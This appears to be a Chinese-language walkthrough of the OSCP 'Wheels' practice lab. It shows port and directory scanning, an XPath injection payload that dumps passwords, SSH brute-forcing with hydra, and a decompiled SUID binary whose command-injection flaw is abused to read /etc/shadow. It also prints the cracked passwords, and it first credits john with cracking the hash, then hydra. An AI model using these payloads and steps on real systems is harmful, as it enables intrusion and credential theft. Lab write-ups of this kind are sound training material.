本文主要是介绍OSCP-Wheels,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
OSCP是一个专门针对Kali Linux渗透测试培训课程的专业认证,官方提供了很多练习靶场,而Wheels就是其中一个。
0x01 启动机器
tips: OSCP有一个内置的KaliLinux,它和VPN不能同时存在,所以需要先连接VPN。
先下载openvpn文件,然后使用kali连接VPN。然后开启靶机。开启稍等几分钟,就会给我们一个靶机IP。
0x02 端口扫描
使用nmap扫描常用端口的开放情况顺便查看一下服务版本
nmap -sS -sV 192.168.180.202
可以看到常用端口仅开放了22和80端口,那么这个靶场极有可能存在web漏洞,因为ssh出现漏洞的情况比较少。
0x03 目录扫描
使用目录扫描工具简单扫一下目录,我这里使用dirsearch
dirsearch -u http://192.168.180.202
通过扫描结果,可以看出来是一个php网站,并且存在注册和登录的功能。访问主页试试看。
在主页上可以发现有五个选项卡,分别是主页、注册和登录还有Employee portal和 Get a QUOTE。其中后面两个选项卡会跳转到登录页面,也就是说有部分信息只有登录了我们才能看到。其中,在底部有一些公司的电话以及邮箱等信息。
0x04 注册登录
点击register选项卡,可以看到有三个选项。接下来,我们来注册一个账号试试。
注册成功后左上角会出现successful字样表示成功注册。接下来我们来登录试试。
登录之后再来点击后面的选型卡看看。
提示禁止访问,想一下,这个选项的名字叫做Employee portal,可能跟账号权限有关,那么它后台怎么判断注册的账号是否为授权账号呢,显而易见,大概率是通过邮箱,因为注册的时候需要邮箱。那么我们再重新注册一个账号通过该公司的邮箱。
成功创建用户,再去尝试访问portal.php试试。
这个时候就能正常访问了,可以看到有一个表单,可以通过选项卡筛选出一些信息。
0x05 XPATH注入
选择car选项,点击submit,会出现一些人名的信息。选择bike选项提交也会出现一些人名信息,我们先将这些人名信息记录下来,后面说不定有用。
接下来我们来看看服务器是如何取出这些数据的,主要看两个选项卡的URL链接。
http://192.168.180.202/portal.php?work=bike&action=search
http://192.168.180.202/portal.php?work=car&action=search
可以看到通过给work传送参数来获取数据的,那么就说明参数可控,我们可以试试是否存在注入,直接在参数后面加上单引号。
报错了,报的是XML实体错误,说明它是通过查询XML数据来回显的。那么这个时候我们就可以尝试使用Xpath注入了。xpath注入具体的原理就不在此赘述了。经过几番尝试,成功查询到password字段。
http://192.168.180.202/portal.php?work=%27)]/password%20|%20a[contains(a,%27&action=search
通过XPATH注入我们成功获取到了6个密码。刚好前面有6个人名可以当作用户名,接下来将密码存在pass.txt里。尝试一下SSH爆破。
hydra -L user.txt -P pass.txt ssh://192.168.180.202
成功爆破出bob的密码为Iamrockinginmyroom1212。直接连接SSH可以获取第一个flag。
0x06 提权
suid提权
# 查找当前系统上存在s权限的文件
find / -perm -u=s type f 2>/dev/null
我们发现出现的第一个文件就非常可疑,因为它不是一个系统默认的文件,但是它具有s权限,重点看看这个文件。
初步判断这个程序应该是用来读取文件的,读取什么文件由用户输入,程序给了两个选项。具体是做什么的我们将这个程序下载下来分析。
scp getlist root@192.168.45.27:/root/ # 利用scp将文件传输到kali的root目录下面
将getlist文件使用逆向工具打开,获取程序源代码。
undefined8 main(void){__uid_t __uid;char *pcVar1;undefined8 local_148;undefined8 local_140;undefined8 local_138;undefined8 local_130;undefined8 local_128;undefined8 local_120;undefined8 local_118;undefined8 local_110;undefined8 local_108;undefined8 local_100;undefined8 local_f8;undefined8 local_f0;undefined8 local_e8;undefined8 local_e0;undefined8 local_d8;undefined8 local_d0;undefined8 local_c8;undefined8 local_c0;undefined8 local_b8;undefined8 local_b0;undefined8 local_a8;undefined8 local_a0;undefined8 local_98;undefined8 local_90;undefined8 local_88;char local_78 [104];int local_10;int local_c;puts("\n");printf("Which List do you want to open? [customers/employees]: ");fgets(local_78,100,stdin);pcVar1 = strchr(local_78,0x3b);if (((pcVar1 == (char *)0x0) && (pcVar1 = strchr(local_78,0x7c), pcVar1 == (char *)0x0)) &&(pcVar1 = strchr(local_78,0x26), pcVar1 == (char *)0x0)) {pcVar1 = strstr(local_78,"customers");if ((pcVar1 == (char *)0x0) && (pcVar1 = strstr(local_78,"employees"), pcVar1 == (char *)0x0)) {printf("Oops something went wrong!!");return 0;}puts("Opening File....\n");local_148 = 0;local_140 = 0;local_138 = 0;local_130 = 0;local_128 = 0;local_120 = 0;local_118 = 0;local_110 = 0;local_108 = 0;local_100 = 0;local_f8 = 0;local_f0 = 0;local_e8 = 0;local_e0 = 0;local_d8 = 0;local_d0 = 0;local_c8 = 0;local_c0 = 0;local_b8 = 0;local_b0 = 0;local_a8 = 0;local_a0 = 0;local_98 = 0;local_90 = 0;local_88 = 0;snprintf((char *)&local_148,200,"/bin/cat /root/details/%s",local_78);local_c = open("/dev/null",0x401);local_10 = dup(2);dup2(local_c,2);__uid = geteuid();setuid(__uid);system((char *)&local_148);dup2(local_10,2);close(local_10);close(local_c);write(2,&DAT_00102008,1);}return 0;
}
通过查看这段反编译后的代码,我们可以知道这段程序存在漏洞,因为它没有对点进行过滤,也没有对用户所输入的字符串做验证,通过这两个点,我们就可以读取该主机的任何文件,/etc/shadow包含了root密码,我们可以直接读它然后利用john破解出root密码。
绕过这个程序正常查看文件的功能,读取/etc/shadow文件,将内容保存为hash.
利用九头蛇爆破shadow文件,使用kali自带的字典。成功爆破出root密码为highschoolmusical。
使用密码登录root账户,获取存放在root目录下的flag2。
这篇关于OSCP-Wheels的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!